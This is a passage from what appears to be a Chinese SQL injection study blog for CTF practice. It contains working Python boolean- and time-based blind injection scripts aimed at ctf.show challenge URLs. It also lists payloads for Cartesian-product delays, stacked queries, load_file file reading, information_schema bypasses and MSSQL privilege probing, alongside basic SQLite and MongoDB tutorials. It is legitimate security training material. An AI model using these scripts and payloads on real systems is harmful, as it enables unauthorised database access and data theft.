def brute_force_column_count(url, headers, tables):
column_count = 0
for l in range(1, 50):
column_countpayload = f"?id=1' and (select count(column_name) from information_schema.columns where table_name='{tables}')={l}--+"
response = requests.get(url + column_countpayload, headers=headers)
if 'admin'in response.text:
column_count = l
break
print(f'表 {tables} 有 {column_count} 字段.')
return column_count

#查询表中字段
def brute_force_column_name(url, headers,tables, column_count):
columns = []
for c in range(column_count):
column_name = ''
for l in range(1, 50):
column_count_payload = f"?id=1' and length((SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{tables}' LIMIT {c},1))={l}--+"
response = requests.get(url + column_count_payload, headers=headers)
if 'admin'in response.text:
column_count = l
print(f'表 {tables} 中字段 {c+1} 的个数为: {column_count}')
for m in range(1, column_count+1):
for i in range(32, 128):
column_name_payload = f"?id=1' and ascii(SUBSTR((SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{tables}' LIMIT {c},1),{m},1))='{i}'--+"
response = requests.get(url + column_name_payload, headers=headers)
if 'admin'in response.text:
column_name += chr(i)
print(column_name)
break
print(f'表 {tables} 中字段 {c+1} 的名字为: {column_name}')
columns.append(column_name)
return columns
'''
#查询表中数据
def brute_force_table_data(url, headers,tables):
data = ''
for c in range(0,100):#用来爆破表中的数据
for i in range(32,128):
data_payload = f"?id=1' and ascii(substr((select password from {tables} where username='flag'),{c+0},1))='{i}'--+"
response = requests.get(url + data_payload, headers=headers)
if 'admin'in response.text:#判断是否存在注入
data += chr(i)
print(data)
break
print('flag为: '+ str(data))
return data
if __name__ == "__main__":
url = 'http://598dad09-8ca9-4769-9d38-8f62ee4186c7.challenge.ctf.show/api/v4.php'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'
}
databaselen = brute_force_database_length(url, headers)
databasename = brute_force_database_name(url, headers, databaselen)
tablecount = brute_force_table_count(url, headers, databasename)
tables = brute_force_table_name(url, headers, tablecount, databasename)
for table in tables:
#column_count = brute_force_column_count(url, headers, table)
#columns = brute_force_column_name(url, headers,table, column_count)
data = brute_force_table_data(url, headers,table)
姿势一:case … when … then … else … end

随便给个payload

1
case(ascii(substr(database()from(1)for(1))))when(102)then(1)else(0)end
  • 这是一个条件表达式。它根据某个条件的值返回不同的结果。
  • 具体来说,case ascii(substr(database() from 1 for 1)) 这部分将检查数据库名称第一个字符的 ASCII 值。
  • 如果这个值是 102(对应字符 ‘f’),则返回 1;否则返回 0

4.时间盲注

界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

小tips:在真实的渗透测试过程中,我们有时候不清楚整个表的情况的话,可以用这样的方式进行刺探,比如设置成 sleep(1) 看最后多少秒有结果,推断表的行数就是多少)

image-20250119205506435

这里可以看到延时了8s也就是4个2s,可以看到我们的行数也是4,但是不知道为啥没出结果是我没想到的

时间盲注与布尔盲注类似。时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。

什么情况下考虑使用时间盲注?

1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样
1. 不会回显注入语句执行结果,故无法使用UNION注入
1. 不会显示报错信息,故无法使用报错注入
1. 符合盲注的特征,但不属于布尔型盲注

常用函数

延时函数如sleep(n):将程序挂起一段时间, n为n秒。

if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句。

使用sleep()函数和if()函数:and (if(ascii(substr(database(),1,1))>100,sleep(10),null)) # 如果返回正确则 页面会停顿10秒,返回错误则会立马返回。只有指定条件的记录存在时才会停止指定的秒数。

手工注入:

1. 利用sleep()函数和if()函数判断数据库长度:1 and if(length(database())=x,sleep(y),1)–页面y秒后才回应,说明数据库名称长度为x

**2. 猜测数据库名称:例如:**1 and if(ascii(substr(database(),1,1))=115,sleep(3),1) adcii(s)=115

**3. 猜测表中数:**1 and if((select count(table_name) from information_schema.tables where table_schema=database())=x,sleep(y),1) 页面y秒后反应,说明有x张表

**4. 猜测表:**1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(3),1) ascii(n)=110

**5. 猜测字段数:**1 and if((select count(column_name) from information_schema.columns where table_name=’flag’)=1,sleep(3),1) 3秒后响应,只有一个字段

**6. 猜测字段名:**1 and if(ascii(substr((select column_name from information_schema.columns where table_name=’表名’),1,1))=102,sleep(3),1)

常规盲注(sleep和benchmark)

sleep()函数:sleep() 函数用于使程序暂停或延迟一段时间

benchmark()函数:BENCHMARK(loop_count,expr)函数用来测试 SQL 语句或者函数的执行时间,第一个参数表示执行的次数,第二个参数表示要执行的操作。通常使用使用 MD5、SHA1 等函数,执行次数 100000。

如benchmark(10000000,md5(‘yu22x’));会计算10000000次md5(‘yu22x’),因为次数很多所以就会产生延时,但这种方法对服务器会对产生很大的负荷,容易把服务器跑崩,如果崩掉的话就把time.sleep的值改大点,除了md5还可以使用其他函数,比如:

1
2
benchmark(1000000,encode("hello","good"));
benchmark(1e7,sha1('kradress'));

手工盲注特别繁琐,碰到这类题目要会用脚本或工具sqlmap

贴个时间盲注的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import datetime
import time
def brute_force_table_data(url):
data = ''
for c in range(0,100):#用来爆破表中的数据
for i in range(32,128):
payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{c+0},1))='{i}',sleep(5),0)--+"
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 5:#超时时间为5秒
data += chr(i)
print(data)
break
print('flag为: '+ str(data))
return data
if __name__ == "__main__":
url = 'http://4a879471-5db2-4202-876f-d5c67c22bc4f.challenge.ctf.show/api/v5.php'
flag = brute_force_table_data(url)

那如果这两个函数都被禁用了的话呢?我们又该如何去进行时间盲注

笛卡尔积盲注

实现的方法就是将简单的表查询不断的叠加,使之以指数倍运算量的速度增长,不断增加系统执行 sql 语句的负荷,直到可以达到我们想要的时间延迟,但是由于我们真实的ctf题目或者真实环境中的表和字段等信息是不一样的,所以我们通常都会利用mysql系统自带的表去进行笛卡尔积盲注

payload

1
SELECT count(*) FROM information_schema.columns A,information_schema.columns B,information_schema.columns C;

根据数据库查询的特点,这句话的意思就是将 A B C 三个表进行笛卡尔积(全排列),并输出 最终的行数,我们来实验一下

image-20250119210147268

因为如果是3个表的话我的负荷太大了跑不出来会崩掉,所以只能写两个表

image-20250119210307191

可以看到,和我们的分析是一样的,但是从时间来看,这种时间差是运算量指数级增加的结果。我们可以利用这其中的耗时去做到一个时间盲注的效果

那我们常规的payload就是

1
1' and if(length(database())>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)#

当if的条件满足时就会执行笛卡尔积的查询结果,就会造成延时,但是具体的延时时间还要具体环境具体分析,对环境的调试也是重要的一点

RLIKE注入

先讲讲RLIKE函数

在 MySQL 中,RLIKE 是一个用于字符串匹配的操作符,类似于 LIKE,但使用的是正则表达式。它可以在查询中用于基于正则表达式的模式匹配,从而实现更灵活的字符串搜索。

基础语法

1
column RLIKE 'pattern'
  • column:要匹配的字符串列。
  • pattern:正则表达式模式,用于匹配列中的字符串。

rlike盲注还需要的函数就是rpad()函数和repeat()函数

RPAD(str,len,padstr) 函数为 str字符串右填充字符 padstr至总长度为 len,可以用于构造长字符串。

REPEAT(str,count)函数构成一个重复 str字符串 count次。

GET_LOCK盲注

GET_LOCK()函数:GET_LOCK() 是一个用于实现分布式锁的函数。它通过在数据库中创建一个命名锁,以确保同一时刻只有一个会话能够持有该锁。

基础语法

1
GET_LOCK(str, timeout)

str:指定锁的名称,类型为字符串。锁的名称是区分大小写的。

timeout:指定等待获取锁的时间(以秒为单位)。如果设置为 0,则立即返回。如果设置为负数,则表示无限期等待。

返回值

  • 返回 1:表示成功获取锁。
  • 返回 0:表示在超时时间内未能获取到锁。
  • 返回 NULL:表示获取锁时出错(例如,由于权限问题)。

利用条件是,开启两个 MySQL 数据库连接,先后在两个连接中使用 GET_LOCK 函数获取相同名字的锁,后面使用 GET_LOCK 函数的连接无法得到锁,等待 timeout秒后执行其它操作。

5.堆叠注入

堆叠注入就是 通过添加一个新的查询或者终止查询( ; ),可以达到 修改数据 和 调用存储过程 的目的

分号;为MYSQL语句的结束符,若在支持多语句执行的情况下,可利用此方法进行sql注入。比如有函数mysqli_multi_query(),它支持执行一个或多个针对数据库的查询,查询语句使用分号隔开。如果正常的语句是:

1
select 1;

若支持堆叠注入,我们就可以在后面添加自己的语句执行命令,如:

1
select 1;show tables--+

但通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返回前端页面,可考虑使用RENAME关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名

还有一种姿势就是利用handler函数

handler函数

在 MySQL 中,HANDLER 是一个用于操作特定存储引擎(如 MyISAM 和 InnoDB)表的命令,用于直接访问表的数据而不通过 SQL 层。

HANDLER 语句主要用于以下操作:

1
2
3
4
5
6
1.打开表
handler table_name open
2.读取第一行
handler table_name read first或者(next)
3.关闭表
handler table_name close

6.sql注入getshell

SQL注入漏洞除了可以对数据库进行数据的查询之外,还可以对的服务器的文件进行读写操作。

前提:

  • 存在SQL注入漏洞
  • web目录具有写入权限
  • 找到网站的绝对路径
  • secure_file_priv没有具体值(secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。)

然后我们先试着去进行读取文件

手工注入的写法

语句: select load_file(‘文件路径’)

payload

1
?id=1' union select 1,2,load_file('D://flag.txt')--+

对于sqlmap来说

语句:–file-read 文件路径 从数据库服务器中读取文件

5.Bypass information_schema

当mysql被waf禁掉information_schema库后的绕过思路

我们先了解一下什么是information_schema库,这个库里面有什么?

image-20250115233431427

可以看到这个库中的表很多啊,我们只挑平时比较常见的去进行讲解

information_schema库中的表

TABLES

  • 内容:包含所有数据库中的表的相关信息。
  • 主要字段
    • TABLE_SCHEMA:数据库名
    • TABLE_NAME:表名
    • TABLE_TYPE:表的类型(例如,BASE TABLE 或 VIEW)
    • ENGINE:表使用的存储引擎
    • VERSION:表的版本号
    • ROW_FORMAT:行格式(例如,COMPACT)

COLUMNS

  • 内容:包含有关数据库中所有列的信息。
  • 主要字段
    • TABLE_SCHEMA:数据库名
    • TABLE_NAME:表名
    • COLUMN_NAME:列名
    • ORDINAL_POSITION:列的位置
    • COLUMN_DEFAULT:列的默认值
    • IS_NULLABLE:列是否可以为 NULL
    • DATA_TYPE:列的数据类型

SCHEMATA

  • 内容:包含所有数据库(模式)的信息。
  • 主要字段
    • CATALOG_NAME:目录名
    • SCHEMA_NAME:数据库名
    • DEFAULT_CHARACTER_SET_NAME:默认字符集
    • DEFAULT_COLLATION_NAME:默认排序规则
    • SQL_PATH:SQL 路径

先放这三个,后面学到新的之后再回来补充,接下来我们讲另一个知识点

InnoDb引擎

mysql 5.5.8之后开始使用InnoDb作为默认引擎,mysql 5.6的InnoDb增加了innodb_index_statsinnodb_table_stats两张表,这两张表就是我们bypass information_schema的第一步,也是获取数据库名和表名的另一种思路

这两张表记录了数据库和表的信息,但是没有列名,sql语句就是

1
2
select group_concat(database_name) from mysql.innodb_index_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()

另外还有一个就是sys库

sys库

sys 库是一个提供系统信息和数据库监控的虚拟数据库。它是一个更高级别的视图,旨在简化对 MySQL 服务器性能和配置的查询。sys 库中的表和视图主要用于提供有关服务器状态、性能和其他实用信息的便利视图。

sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。

  • sys.schema_table_statistics

1
2
3
4
5
6
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
select table_schema from sys.x$schema_table_statistics_with_buffer;
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=database();

另外还有一种摘录到的

  • sys.schema_auto_increment_columns

1
2
3
4
#查询数据库名
select table_schema from sys.schema_auto_increment_columns
#查询表名
select table_name from sys.schema_auto_increment_columns where table_schema=databse()

同样的,这个sys库也是能用来查找表名和数据库名的

sqlite注入

基础知识参考:菜鸟教程

什么是sqlite?

SQLite 是一个轻量级的关系型数据库管理系统(RDBMS),它以 C 语言编写,SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。

关于sqlite的命令,还是跟其他数据库一样,有DDL,DML,DQL三种命令

image-20250210093129451

和mysql一样,我们先试着在Ubuntu内安装一个sqlite

Ubuntu中搭建sqlite服务

SQLite有一个重要的特性是零配置的,这意味着不需要复杂的安装或管理

wget把压缩包下载下来

1
wget https://www.sqlite.org/2025/sqlite-autoconf-3490000.tar.gz

image-20250209210105699

1
2
3
4
5
$ tar xvzf sqlite-autoconf-3071502.tar.gz
$ cd sqlite-autoconf-3071502
$ ./configure --prefix=/usr/local
$ make
$ make install

中间make比较久,耐心等待就可以了

结束后我们输入sqlite3查看一下安装是否完成

image-20250209210730686

安装好sqlite后我们就开始学习使用这个数据库

1
2
3
4
sqlite>.help
#查看sqlite命令
sqlite>.show
#查看 SQLite 命令提示符的默认设置。

SQLite 是不区分大小写的,但也有一些命令是大小写敏感的

1.sqlite注释

SQL 注释以两个连续的 “-“ 字符(ASCII 0x2d)开始,并扩展至下一个换行符(ASCII 0x0a)或直到输入结束,以先到者为准。

1
sqlite>.help -- 这是一个简单的注释

所有的 SQLite 语句可以以任何关键字开始,如 SELECT、INSERT、UPDATE、DELETE、ALTER、DROP 等,所有的语句以分号 ; 结束。

2.创建数据库

Sqlite数据库的特点是它每一个数据库都是一个文件

首先我们先用ls命令查看一下当前目录下的内容

image-20250209212553154

可以看到是没有test.db数据库文件的,接下来我们试着创建一下

1
sqlite3 test.db

因为sqlite的每个数据库都可以看成是一个文件,所以我们不能直接在sqlite命令行中输入创建数据库的命令,而是需要在终端输入,输入后会创建数据库文件并进入该数据库文件的命令行窗口

image-20250209212759310

.databases命令

.databases 是一个命令,用于显示当前已连接数据库的列表及其相关信息。

1
sqlite>.databases --使用.databases命令来检查它是否在数据库列表中

我们退出来看一下是否有这个数据库文件

.quit命令

.quit 命令退出 sqlite 提示符

image-20250209213426232

.open命令

另外我们也可以使用 .open 来建立新的数据库文件:

1
sqlite>.open test1.db

如果 test1.db 存在则直接会打开,不存在就创建它。

image-20250209213605965

可以看到成功创建了两个数据库

.dump命令

.dump 命令用于导出数据库或特定表的内容

image-20250209214019493

上面结果说明当前数据库没有表或数据

当然我们也可以用.dump命令去导出特定的表,但是我们还没有创建表和数据,所以这里暂时不讲

我们还可以用.dump将导出的内容保存到文件中,可以通过重定向输出实现。

1
$sqlite3 test1.db .dump > test1.sql

上面的命令将转换整个 test1.db 数据库的内容到 SQLite 的语句中,并将其转储到 ASCII 文本文件 test1.sql

如果我们想要从生成的 testDB.sql 恢复,利用重定向符号即可

1
$sqlite3 test1.db < test1.sql

此时的数据库是空的,一旦数据库中有表和数据,我们则可以尝试上述两个程序

3.附加(选择)数据库

如果我们有多个数据库文件可以操作使用,而我们想要使用其中一个的时候,我们就可以用SQLite 的 ATTACH DATABASE 语句来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。

语法

1
ATTACH DATABASE file_name AS database_name;

image-20250209214739375

.database命令

和前面的.databases命令差不多,但是这个通常会显示更为详细的信息,包括数据库的状态

使用.database命令来显示附加的数据库

数据库名称 maintemp 被保留用于主数据库和存储临时表及其他临时数据对象的数据库。这两个数据库名称可用于每个数据库连接,且不应该被用于附加,否则将得到一个警告消息

image-20250210001031950

4.分离数据库

SQLite 的 DETACH DATABASE 语句是用来把命名数据库从一个数据库连接分离和游离出来,连接是之前使用 ATTACH 语句附加的。如果同一个数据库文件已经被附加上多个别名,DETACH 命令将只断开给定名称的连接,而其余的仍然有效。您无法分离 main TEST 数据库。

我们要注意,如果数据库是在内存中或者是临时数据库,则该数据库将被摧毁,且内容将会丢失。

语法:

1
DETACH DATABASE 'Alias-Name';

我们实操一下

前面创建了一个数据库test1.db,并给它附加了 ‘test’ 和 ‘currentDB’,使用 .database 命令

image-20250210001248474

这里我们可以看到这三个数据库是连接在一起的,接下来我们分离出currentDB附加数据库,使用.database命令

1
sqlite> DETACH DATABASE 'currentDB';

image-20250210001428315

可以看到testDB.db 仍与 ‘test’ 和 ‘main’ 保持连接。但是’currentDB’已经被分离出去断开连接了

5.创建数据表

SQLite 的 CREATE TABLE 语句用于在任何给定的数据库创建一个新表。创建基本表,涉及到命名表、定义列及每一列的数据类型。其实和mysql的创建表是一样的

语法

1
2
3
4
5
6
7
CREATE TABLE database_name.table_name(
column1 datatype PRIMARY KEY(one or more columns),
column2 datatype,
column3 datatype,
.....
columnN datatype,
);

我们试一下

1
2
3
4
sqlite>create table helloworld(     
(x1...> ID INT PRIMARY KEY NOT NULL,
(x1...> NAME TEXT NOT NULL,
(x1...> AGE INT NOT NULL);

然后我们使用.tables命令

.tables命令

.tables 命令用于列出当前数据库中的所有表

image-20250210002228282

  1. 主数据库表helloworld 是您在当前数据库中创建的表,属于主数据库(通常是 main 数据库)。
  2. 附加数据库表test.helloworld 表示在一个名为 test 的附加数据库中的 helloworld 表。

或者我们可以使用.schema命令查看表的完整信息

.schema命令

.schema 命令用于显示当前数据库中所有表的结构,包括表的创建语句、列的定义、索引等。

image-20250210002711008

6.删除表

SQLite 的 DROP TABLE 语句用来删除表定义及其所有相关数据、索引、触发器、约束和该表的权限规范。

语法

1
DROP TABLE database_name.table_name;

我们对比一下删除前后的.tables的结果就可以看到了

image-20250210003044465

可以看到我们的主数据库和附加数据库的表都被删除了

7.插入数据

SQLite 的 INSERT INTO 语句用于向数据库的某个表中添加新的数据行。

语法

1
2
INSERT INTO TABLE_NAME [(column1, column2, column3,...columnN)]  
VALUES (value1, value2, value3,...valueN);

在这里,column1, column2,…columnN 是要插入数据的表中的列的名称。

如果要为表中的所有列添加值,您也可以不需要在 SQLite 查询中指定列名称。但要确保值的顺序与列在表中的顺序一致。SQLite 的 INSERT INTO 语法如下:

1
INSERT INTO TABLE_NAME VALUES (value1,value2,value3,...valueN);

我们先用第一个方法试一下

1
2
3
sqlite> INSERT INTO helloworld
...> (ID,NAME,AGE)
...> VALUES(1,'wanth3f1ag',19);

注意这里的类型要对的上不然会报错

然后我们用第二个语句写一个数据

1
sqlite> INSERT INTO helloworld VALUES(2,'wanth3flag',20);

没报错的话就是成功写入数据了,怎么验证我们接下来讲查询语句就知道了

8.查询语句

SQLite 的 SELECT 语句用于从 SQLite 数据库表中获取数据,以结果表的形式返回数据。这些结果表也被称为结果集。

语法

1
2
3
4
查询个别字段
SELECT column1, column2, columnN FROM table_name;
查询所有字段
SELECT * FROM table_name;

其实和mysql的查询语句是差不多的

image-20250210095603518

当然我们还可以设置我们的输出宽度,避免有时候因为数据过长而导致宽度不够被截断,从而数据无法完整展示

.width num, num…. 命令

.width num, num…. 命令设置显示列的宽度

9.WHERE子语句

SQLite的 WHERE 子句用于指定从一个表或多个表中获取数据的条件。这一点和mysql是一样的

如果满足给定的条件,即为真(true)时,则从表中返回特定的值。我们可以使用 WHERE 子句来过滤记录,只获取需要的记录。

WHERE 子句不仅可用在 SELECT 语句中,它也可用在 UPDATE、DELETE 语句中

语法

1
2
3
SELECT column1, column2, columnN 
FROM table_name
WHERE [condition]

codition就是我们的条件语句,因为之前mysql里面演示过这里就不赘述了

不过在sqlite中,我们的where子语句可以搭配运算符去进行精确的查询

运算符

运算符用于指定 SQLite 语句中的条件,并在语句中连接多个条件。

  • 算术运算符
  • 比较运算符
  • 逻辑运算符
  • 位运算符

image-20250210101043640

这里摘录一些常见的逻辑运算符

运算符 描述
AND AND 运算符允许在一个 SQL 语句的 WHERE 子句中的多个条件的存在。
BETWEEN BETWEEN 运算符用于在给定最小值和最大值范围内的一系列值中搜索值。
EXISTS EXISTS 运算符用于在满足一定条件的指定表中搜索行的存在。
IN IN 运算符用于把某个值与一系列指定列表的值进行比较。
NOT IN IN 运算符的对立面,用于把某个值与不在一系列指定列表的值进行比较。
LIKE LIKE 运算符用于把某个值与使用通配符运算符的相似值进行比较。
GLOB GLOB 运算符用于把某个值与使用通配符运算符的相似值进行比较。GLOB 与 LIKE 不同之处在于,它是大小写敏感的。
NOT NOT 运算符是所用的逻辑运算符的对立面。比如 NOT EXISTS、NOT BETWEEN、NOT IN,等等。它是否定运算符。
OR OR 运算符用于结合一个 SQL 语句的 WHERE 子句中的多个条件。
IS NULL NULL 运算符用于把某个值与 NULL 值进行比较。
IS IS 运算符与 = 相似。
IS NOT IS NOT 运算符与 != 相似。
|| 连接两个不同的字符串,得到一个新的字符串。
UNIQUE UNIQUE 运算符搜索指定表中的每一行,确保唯一性(无重复)。

其实大部分和mysql中的是一样的

位运算符,这里假设A=60,B=13

运算符 描述 实例
& 如果同时存在于两个操作数中,二进制 AND 运算符复制一位到结果中。 (A & B) 将得到 12,即为 0000 1100
| 如果存在于任一操作数中,二进制 OR 运算符复制一位到结果中。 (A | B) 将得到 61,即为 0011 1101
~ 二进制补码运算符是一元运算符,具有”翻转”位效应,即0变成1,1变成0。 (~A ) 将得到 -61,即为 1100 0011,一个有符号二进制数的补码形式。
<< 二进制左移运算符。左操作数的值向左移动右操作数指定的位数。 A << 2 将得到 240,即为 1111 0000
>> 二进制右移运算符。左操作数的值向右移动右操作数指定的位数。 A >> 2 将得到 15,即为 0000 1111

nosql注入

什么是nosql?

NoSQL 即 Not Only SQL,意即 “不仅仅是SQL”。他指的不是单单某一种数据库管理系统,而是用于描述一类数据库管理系统,包括键值数据库,列式数据库,文本数据库,图形数据库等。这些系统会使用不同于传统关系型数据库的数据存储模型。NoSQL数据库提供比传统SQL数据库更宽松的一致性限制。 通过减少关系约束和一致性检查,NoSQL数据库提供了更好的性能和扩展性。 然而,即使这些数据库没有使用传统的SQL语法,它们仍然可能很容易的受到注入攻击。 由于这些NoSQL注入攻击可以在程序语言中执行,而不是在声明式 SQL语言中执行,所以潜在影响要大于传统SQL注入。

而MongoDB 是当前最流行的 NoSQL 数据库产品之一,由 C++ 语言编写,是一个基于分布式文件存储的数据库。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

接下来我们就以MongDB为例,去讲解这个nosql注入

MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。

关于MongDB基础使用

RDBMS MongoDB
数据库 数据库
表格 集合
文档
字段
表联合 嵌入文档
主键 主键(MongoDB 提供了 key 为 _id)
  • 数据库(database)

一个 MongoDB 中可以建立多个数据库。MongoDB 的单个实例可以容纳多个独立的数据库,每一个都有自己的集合和权限,不同的数据库也放置在不同的文件中。

1
2
show dbs显示所有的数据库的列表
db 显示当前数据库对象或集合
  • 集合(collection)

集合就是 MongoDB 文档组,类似于 RDBMS 关系数据库管理系统中的表格。集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。

show collectionsshow tables 命令可以查看已有集合

  • 文档(Document)

文档是一组键值(key-value)对,类似于 RDBMS 关系型数据库中的一行。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。

nosql基础语法

  • 创建数据库
1
use DATABASE_NAME#如果数据库不存在,则创建数据库,否则切连接并换到指定数据库

举个例子

1
2
3
4
5
> use db1
switched to db db1
> db
db1
>
  • 创建集合

使用 createCollection() 方法来创建集合

基础语法

1
db.createCollection(name, options)
  • name:要创建的集合名称
  • options:可选参数,指定有关内存大小及索引的选项

举个例子,我们在数据库中创建一个集合

1
2
3
4
5
> use db1
switched to db db1
> db.createCollection("user1")
{ "ok" : 1 }
>
  • 插入文档

使用 insert() 方法向集合中插入文档

基础语法

1
db.COLLECTION_NAME.insert(document)

举个例子,我们在数据库的集合中插入一个文档

1
2
3
4
5
6
> db.user1.insert({name: 'whoami', 
description: 'the admin user',
age: 19,
status: 'A',
groups: ['admins', 'users']
})
  • 更新文档

使用 update()save() 方法来更新集合中的文档

  • update() 方法

update() 方法用于更新已存在的文档。

基础语法

1
2
3
4
5
6
7
8
9
db.collection.update(
<query>,
<update>,
{
upsert: <boolean>,
multi: <boolean>,
writeConcern: <document>
}
)
  • query:update 操作的查询条件,类似 sql update 语句中 where 子句后面的内容。
  • update:update 操作的对象和一些更新的操作符(如 $set)等,可以理解为 sql update 语句中 set 关键字后面的内容。
  • multi:可选,默认是 false,只更新找到的第一条记录,如果这个参数为 true,就把按条件查出来多条记录全部更新。

那我们用这个方法将age年龄从19更新到20

mssql注入

借鉴师傅的文章:https://y4er.com/posts/mssql-injection-learn/#%E7%AC%A6%E5%8F%B7,https://y4er.com/posts/mssql-getshell/

https://www.secpulse.com/archives/193819.html

什么是mssql?

MSSQL,或称为Microsoft SQL Server,mssql是Microsoft System Structured Query Language 的缩写,是指微软操作系统的数据库语言,是由微软开发的一种数据库关系管理系统(RDBMS)。

MSSQL基础使用

讲到mssql数据库,我们首先要了解到里面的自带库

默认自带库的类型

1
2
3
4
master   //用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
model //SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
msdb //由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
tempdb //它为临时表和其他临时工作提供了一个存储区。

其中最常用的就是master库了

master库

master数据库是系统数据库,这里存储了所有数据库名和存储过程,就好比mysql里面的information_schema元数据库,这个存储过程其实就好比是一个函数调用的过程

储存过程是一个可编程的函数,它在数据库中创建并保存。它可以有SQL语句和一些特殊的控制结构组成。当希望在不同的应用程序或平台上执行相同的函数,或者封装特定功能时,存储过程是非常有用的。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式。(不是注入的重点,主要是后面getshell需要用,所以简单了解一下就可以了,下面还会带到)

这里贴一张关于master库的展示图

1.1.1

在master数据库中有master.dbo.sysdatabases视图,储存所有数据库名,其他数据库的视图则储存他本库的表名与列名。 每一个库的视图表都有syscolumns存储着所有的字段,可编程性储存着我们的函数。

查询数据库语句

1
2
3
4
5
6
7
8
9
select name from master.dbo.sysdatabases;
#在 SQL Server 中,查询master.dbo.sysdatabases视图可以用于获取实例数据库中所有数据库的名称。
master
tempdb
model
msdb
test
asp_net
asp_test

关于字段

1
2
select top 1 name,xtype from sysobjects;
#这是一个 SELECT 查询语句,它从 sysobjects 表中选择顶部 1 条记录,并仅检索 name 和 xtype 列的值。

但是这里的xtype是可控的,可以是下面这些类型的一种

  • C = CHECK 约束
  • D = 默认值或 DEFAULT 约束
  • F = FOREIGN KEY 约束
  • L = 日志
  • FN = 标量函数
  • IF = 内嵌表函数
  • P = 存储过程
  • PK = PRIMARY KEY 约束(类型是 K)
  • RF = 复制筛选存储过程
  • S = 系统表
  • TF = 表函数
  • TR = 触发器
  • U = 用户表
  • UQ = UNIQUE 约束(类型是 K)
  • V = 视图
  • X = 扩展存储过程

信息搜集

我们先了解一下服务器级别和数据库级别的角色的区别

  1. 服务器级别角色:
    • 服务器级别角色是定义在整个 SQL Server 实例上的一组固定角色。
    • 这些角色控制着整个服务器的权限和功能,如安全设置、备份操作、服务器级别配置等。
  2. 数据库级别角色:
    • 数据库级别角色是定义在特定数据库中的一组角色。
    • 这些角色控制着数据库中对象的访问权限,如表、视图、存储过程等。
    • 数据库级别角色与服务器级别角色的作用范围不同,主要关注数据库内部的权限控制。

服务器级别

image-20241206194113814

我们可以用IS_SRVROLEMEMBER来判断服务器级别的固定角色

IS_SRVROLEMEMBER 是一个系统函数,用于检查指定登录名是否属于指定的服务器级别的固定角色。我们可以利用这个函数的role的有效值去判断服务器级别的固定角色

返回值 描述
0 login 不是 role 的成员。
1 login 是 role 的成员。
NULL role 或 login 无效,或者没有查看角色成员身份的权限。

然后我们构造语句

1
2
3
4
5
6
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))

is_srvrolemember 函数需要传入两个参数,即固定角色名和登录名。

在 SQLMap 中使用 –is-dba 命令可以判断是否为管理员权限,即服务器级别的固定角色

1
select * from admin where id =1 AND 5560 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (IS_SRVROLEMEMBER(CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110))=1) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+CHAR(113)))

数据库级别

image-20241206194907105

数据库级别的应用角色用IS_ROLEMEMBER函数判断

1
2
3
4
5
6
7
8
?id=1 and 1=(select IS_ROLEMEMBER('db_owner'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_securityadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_accessadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_backupoperator'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_ddladmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datawriter'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datareader'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_denydatawriter'))--

讲完了这个我们再来了解一下基本信息

1
2
3
4
SELECT @@version; //版本
SELECT user; //用户
